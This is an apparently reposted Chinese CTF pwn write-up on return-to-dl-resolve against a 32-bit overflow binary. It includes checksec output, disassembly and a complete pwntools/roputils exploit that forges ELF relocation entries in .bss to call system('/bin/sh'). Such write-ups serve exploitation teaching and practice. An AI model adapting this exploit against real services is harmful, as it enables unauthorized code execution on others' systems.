- 2018 铁三东北赛区之 aleph1 rbp 栈迁移
- return to dl resolve 利用 i386 roputils 库
- 提权读写空指针 利用中断门提权并挂载物理页
- RCTF2015 之 welpwn 64位构造 ROP 过掉 00 截断
- XDCTF2015 之 pwn200 DynELF 实现无 libc 利用
- pwnable.tw 之 hacknote uaf 利用
- pwnable.kr 之 unlink 堆还是栈?
- pwnable.kr 之 uaf 虚表利用
- 360 春秋杯之 smallest SROP 利用
- 网鼎杯 Pwn 之 GUESS ssp leak + environ 泄露
- 32 位 fmtstr 漏洞利用 记一 32 位格式化字符串漏洞利用
- 网鼎杯 Pwn 之 babyheap unlink+uaf+fastbin attack
- 网鼎杯 Pwn 之 blind _IO_FILE 利用
- 网鼎杯 Pwn 之 pesp 多方法解题
- House of orange 无 free 的堆利用
- 2018 湖湘杯 Reverse 之 Replace
- 南邮 NCTF 2018 之 smallbug2
- 铁三 2018 全国总决赛之 littlenote
- 铁三 2018 全国总决赛之 bookstore
- 铁三 2018 全国总决赛之 myhouse
- pwnable.tw 之 un3xp10itabl3
- pwnable.tw 之 D3-a5lr
- NCTF 2018 之 homura
- 2019 西湖论剑 writeup
- 2019 强网杯 writeup 之 PWN+Reverse 部分
- 西湖论剑线下个人赛 writeup pwn 部分
- 关于 smallbin 的利用
- 春秋杯网络安全公益联赛 BFnote 出题小结
- easy_unicorn 基于 unicorn 的沙盒逃逸
- Kernel Pwn gnote - TokyoWesterns CTF 2019
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
return to dl resolve 利用 i386 roputils 库
0x00 漏洞分析
检查保护-NX被启用
root@kali:~# checksec stackba
[*] '/root/stackba'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main函数
int __cdecl main()
{
alarm(0xAu);
sub_804843B();
return 0;
}
sub_804843B()函数
ssize_t sub_804843B()
{
char buf; #[esp+0h] [ebp-28h]
return read(0, &buf, 0x40u);
}
汇编代码
.text:0804843B sub_804843B proc near ; CODE XREF: main+1E↓p
.text:0804843B
.text:0804843B buf = byte ptr -28h
.text:0804843B
.text:0804843B ; __unwind {
.text:0804843B push ebp
.text:0804843C mov ebp, esp
.text:0804843E sub esp, 28h
.text:08048441 sub esp, 4
.text:08048444 push 40h ; nbytes
.text:08048446 lea eax, [ebp+buf]
.text:08048449 push eax ; buf
.text:0804844A push 0 ; fd
.text:0804844C call _read
.text:08048451 add esp, 10h
.text:08048454 nop
.text:08048455 leave
.text:08048456 retn
.text:08048456 ; } #starts at 804843B
.text:08048456 sub_804843B endp
发现只开了一个栈不可执行,于是想构造rop链。但是整个文件搜索下来也没有发现什么有价值的gadget。pwn题一般都会提供一个libc文件用于泄露函数的地址,在这里使用一个不依赖于libc的溢出方法。
0x01 漏洞利用
懒癌。。。 直接用roputils库解决问题
在bss段伪造Elf32_Rel 和 Elf32_Sym,二次调用劫持eip至plt[0],解析system
0x02 完整exp
#!usr/bin/python
# -*- coding: utf-8 -*-
import roputils
from pwn import *
offset = 44
readplt = 0x08048300
bss = 0x0804a020
ret = 0x0804843B
p = process('./stackba')
rop = roputils.ROP('./stackba')
addr_bss = rop.section('.bss')
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(ret) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)
buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20,'system') #在bss段伪造Elf32_Rel 和 Elf32_Sym
buf2 += rop.fill(100, buf2)
p.send(buf2)
buf3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss) #劫持eip至plt[0],解析system
p.send(buf3)
p.interactive()
0x03 运行结果
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论